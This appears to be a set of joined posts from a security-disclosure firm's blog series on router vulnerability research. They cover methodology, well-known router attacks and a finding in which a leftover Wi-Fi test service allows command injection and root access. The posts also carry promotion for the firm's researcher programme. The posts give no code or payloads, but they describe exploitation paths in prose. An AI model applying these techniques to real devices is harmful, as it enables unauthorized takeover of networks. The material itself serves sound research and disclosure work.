After fuzzing some TCP packets to the router, the researchers also discovered some responses containing DUT-Wi-FiTestSuite-9.0.0 a service that shouldn’t be working and seems to be a test utility. The service listens in TCP on a predefined port and then waits for TLV packets. This provided the researchers with access to execute commands.

By looking at the precise utility of each function, they found that they could exploit specific functions by providing a malicious entry formatted with the first 16 bytes of the parameters sent with the command to achieve RCE. Looking further into the code they found that they could use different functions like the wfaTGSendPing function which offered a larger space for command injection to achieve much broader exploitation possibilities and achieve full root access.

More details and the full POC can be found in SSD’s full advisory

If you’re currently conducting research on router vulnerabilities or have found something you would like to explore further and may need a trusted guide, SSD’s team has over 15 years of experience in identifying, analyzing, and responsibly disclosing router vulnerabilities.

With many router vendors and independent researchers onboard, we guarantee the quickest process and best payouts in the industry for your research.

SSD Secure Disclosure helps security researchers turn their skills in uncovering security vulnerabilities into a career since 2007. Check out SSD’s product scope which is being updated monthly with new products and vendors.

Vulnerability research in routers is a meticulous process that begins with identifying potential weak points, such as network protocols, firmware, or web interfaces. As we mentioned in our first part, researchers employ a variety of tools and techniques, including packet sniffing, reverse engineering, and fuzzing, to discover these vulnerabilities.

Selecting the right tools for router research involves choosing those that can effectively analyze router firmware, network traffic, and configuration settings. Look for tools that offer detailed protocol analysis, vulnerability scanning specific to router models, and the ability to identify common misconfigurations and security flaws. Ensuring compatibility with various router brands and models, as well as the ability to handle complex network environments, will enhance the effectiveness of your vulnerability assessments.

Similar to other products, the first step in working on routers’ vulnerability research is to gather detailed information about the router you are assessing. This involves identifying the router’s current firmware version and configuration settings as it provides context for potential vulnerabilities and helps tailor your research approach effectively

The second step would be selecting the right tools for the job. Choosing the right automated tools, testing techniques, and industry best practices is crucial for thoroughly identifying vulnerabilities. Automated tools can quickly scan for common weaknesses, such as outdated firmware or insecure configurations, providing a broad initial overview. However, manual testing is essential for deeper exploration, allowing researchers to creatively probe for less obvious flaws that automated tools might miss, such as logical vulnerabilities or complex authentication bypasses. Adhering to industry best practices ensures that the research is systematic, comprehensive, and aligned with the latest security standards, ultimately leading to more reliable and impactful findings.

Next, the researcher will analyze the data gathered from the previous steps to identify specific vulnerabilities within the router’s firmware, software, or configuration. This involves understanding the nature of the vulnerabilities, such as buffer overflows, command injection, or weak authentication mechanisms. Researchers then attempt to exploit these vulnerabilities in a controlled environment to determine their impact and potential for exploitation. This phase may include crafting custom exploits, testing various attack vectors, and refining techniques to achieve reliable exploitation. The goal is to assess the severity of the vulnerabilities and understand how they can be leveraged in real-world attacks.

Here are a few real-world examples of router exploits that illustrate the steps of router exploit research:

VPNFilter Malware (2018):

• Vulnerability: VPNFilter targeted over half a million routers and network-attached storage devices worldwide. The malware exploited known vulnerabilities in router firmware from various manufacturers, such as Linksys, MikroTik, and TP-Link.
• Research Steps: Security researchers used a combination of automated scanning tools to identify affected devices and manual testing to understand how the malware persisted through reboots and its ability to intercept traffic. Industry best practices, such as analyzing traffic behavior and firmware integrity, were crucial in identifying and mitigating the threat.
• Exploitation: The attackers exploited the vulnerabilities to create a botnet that could steal data, launch attacks, and even render devices unusable.

RomPager Vulnerability (Misfortune Cookie) (2014):

• Vulnerability: The Misfortune Cookie vulnerability was found in the RomPager embedded web server, which is used in millions of routers. The flaw allowed attackers to gain administrative access to routers remotely.
• Research Steps: Researchers used automated tools to scan the internet for devices running the vulnerable RomPager version, followed by manual testing to develop a proof-of-concept (PoC) exploit. Best practices included thorough documentation of the vulnerability and responsible disclosure to affected vendors.
• Exploitation: An attacker could send a crafted HTTP cookie to the router, granting them full control over the device and potentially the entire network.

Netgear R7000 and R6400 Routers Command Injection (2016):

• Vulnerability: A command injection vulnerability was discovered in the web interface of Netgear R7000 and R6400 routers. This flaw allowed attackers to execute arbitrary commands on the router.
• Research Steps: After using automated tools to identify the routers’ firmware versions, researchers performed manual testing to craft specific payloads that exploited the vulnerability. Best practices included assessing the impact on the broader network and coordinating a response with the vendor.
• Exploitation: The vulnerability allowed an unauthenticated attacker to gain root access to the router by sending a specially crafted HTTP request.

These examples demonstrate the importance of a structured approach in router exploit research, combining automated tools, manual analysis, and adherence to best practices to identify, understand, and potentially exploit vulnerabilities in real-world scenarios.

In part three of our series, we will be drilling into examples from recent reported advisories, we’ll illustrate key techniques for identifying and exploiting these vulnerabilities and present the full walkthrough in practical steps and methodologies for D-link, TP-link and TotoLink routers.

SSD Secure Disclosure helps security researchers turn their skills in uncovering security vulnerabilities into a career since 2007. Check out SSD’s product scope which is being updated monthly with new products and vendors.

In your home or small office, your router is the key player that connects your local devices — like computers, smartphones, and printers — to your Internet service provider (ISP). This means you can have all your gadgets online at the same time without any hassle. Essentially, your router is crucial for keeping your data flowing smoothly and securely, whether you’re working, streaming, or just browsing the web.

Wireless routers are like the heart of your home or office network, directing data traffic between your local devices and the internet. They support various Wi-Fi standards, like Wi-Fi 5 and Wi-Fi 6, offering different speeds and coverage. Operating at the network layer, routers use IP addresses to send data packets to their destinations, relying on routing tables to find the best paths. Modern routers come with security features like WPA3 encryption to keep your network safe from intruders. Additionally, many routers include advanced functionalities such as guest networks, parental controls, and Quality of Service (QoS) settings to prioritize traffic for specific applications or devices.

Being so widely used, routers can be vulnerable to a variety of exploits and attacks due to several factors related to their hardware, software, configuration, and usage patterns.

There are multiple ways routers may be vulnerable:

1. Insecure Authentication Mechanisms:

Weak or poorly implemented authentication mechanisms can allow attackers to brute-force passwords or bypass authentication altogether, gaining unauthorized access to the router’s settings.

2. Vulnerabilities in Network Services:

Routers often run various network services such as HTTP, FTP, Telnet, SSH, SNMP, etc. Vulnerabilities in these services, such as buffer overflows or improper input validation, can be exploited to gain remote access or execute arbitrary code.

3. Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF):

Web-based interfaces used for router configuration are susceptible to XSS and CSRF attacks. These can be exploited to execute malicious scripts in the context of an authenticated user or to perform actions without the user’s consent.

4. DNS Spoofing and Man-in-the-Middle Attacks:

DNS settings in routers can be manipulated to redirect users to malicious websites (DNS spoofing). Routers can also be targeted in MITM attacks where an attacker intercepts and alters communication between devices.

Understanding router architecture is essential for identifying attack surfaces, as it involves comprehending the intricate interplay between hardware components and software systems that govern network functionality. Hardware components like CPUs, memory modules, and network interfaces provide insight into potential vulnerabilities such as buffer overflows or physical access points.

Meanwhile, dissecting the router’s operating system and firmware uncovers vulnerabilities in protocol implementations, authentication mechanisms, or configuration interfaces that could be exploited remotely or locally. By carefully mapping out how these components interact, cybersecurity experts can identify key points where attacks might occur, whether it's through network protocols, web interfaces, or firmware vulnerabilities. This allows them to develop effective ways to counter these threats and strengthen the router's security. Having a thorough understanding of these interactions is crucial for both defending against attacks and proactively improving the security of your network.

Vulnerability research in routers is a step-by-step process that starts with finding possible weak spots like network protocols, firmware, or web interfaces. Researchers use various tools and techniques such as packet sniffing, reverse engineering, and fuzzing to uncover these weaknesses. When they find a potential vulnerability, they analyze its impact and how it might be exploited. This means figuring out the root cause, whether it’s due to insecure settings, flawed implementations, or outdated software. Researchers document their findings with detailed proof-of-concept demonstrations to show how the vulnerability can be exploited. Ethical researchers then share their discoveries with router manufacturers or the cybersecurity community to help create timely patches and protect users’ networks and data.

Thus, vulnerability research in routers is not only about finding flaws but also about contributing to the overall improvement of network security infrastructure.

In part two, we will be discussing tools and techniques for finding vulnerabilities and showcase some real world examples from our recent published advisories.

SSD Secure Disclosure helps security researchers turn their skills in uncovering security vulnerabilities into a career since 2007. Check out SSD’s product scope which is being updated monthly with new products and vendors.

Identify and Exploit Vulnerabilities in Routers: An Introductory Guide & Technical Case Studies was originally published in SSD Secure Disclosure on Medium, where people are continuing the conversation by highlighting and responding to this story.